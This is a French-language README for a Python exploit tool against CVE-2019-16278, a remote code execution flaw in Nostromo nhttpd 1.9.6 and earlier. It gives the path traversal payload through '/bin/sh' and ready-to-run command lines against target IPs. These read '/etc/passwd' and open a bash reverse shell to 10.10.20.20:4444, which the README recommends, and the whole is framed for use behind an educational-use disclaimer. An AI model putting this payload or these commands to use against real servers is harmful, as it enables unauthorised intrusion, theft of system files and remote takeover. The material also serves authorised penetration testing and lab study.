CVE-2019-16278 - Nostromo nhttpd RCE

Description de la vulnérabilité

Vulnérabilité d'exécution de code à distance dans Nostromo nhttpd versions <= 1.9.6 via un parcours de répertoire dans la gestion des requêtes HTTP.

Versions affectées

• Nostromo nhttpd 1.9.6 et versions antérieures

Détails de l'exploit

Cet exploit exploite une vulnérabilité de parcours de répertoire en utilisant des caractères CRLF encodés en URL (%0d) pour accéder à /bin/sh et exécuter des commandes arbitraires.

Comment ça fonctionne :

1. Envoie une requête POST avec un parcours de chemin : /.%0d./.%0d./.%0d./.%0d./bin/sh
2. Utilise l'en-tête Content-Length pour contrôler la taille de la charge utile
3. Exécute les commandes via une redirection shell : echo\necho\n<commande> 2>&1

Utilisation

python3 cve-2019-16278.py <TARGET_IP> <PORT> <COMMAND>

Exemple :

python3 cve-2019-16278.py 192.168.1.100 80 "id"
python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd"
python3 cve-2019-16278.py target.com 80 "whoami"
python3 cve-2019-16278.py 10.10.10.10 80 "bash -c 'bash -i >& /dev/tcp/10.10.20.20/4444 0>&1'"

Reverse shell recommandé, parfois ce script n'affiche rien

Prérequis

• Python 3
• Accès réseau au serveur cible
• Cible exécutant Nostromo nhttpd vulnérable

Références

• CVE: CVE-2019-16278
• https://www.exploit-db.com/exploits/47837
• https://nvd.nist.gov/vuln/detail/CVE-2019-16278

Avertissement

Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal.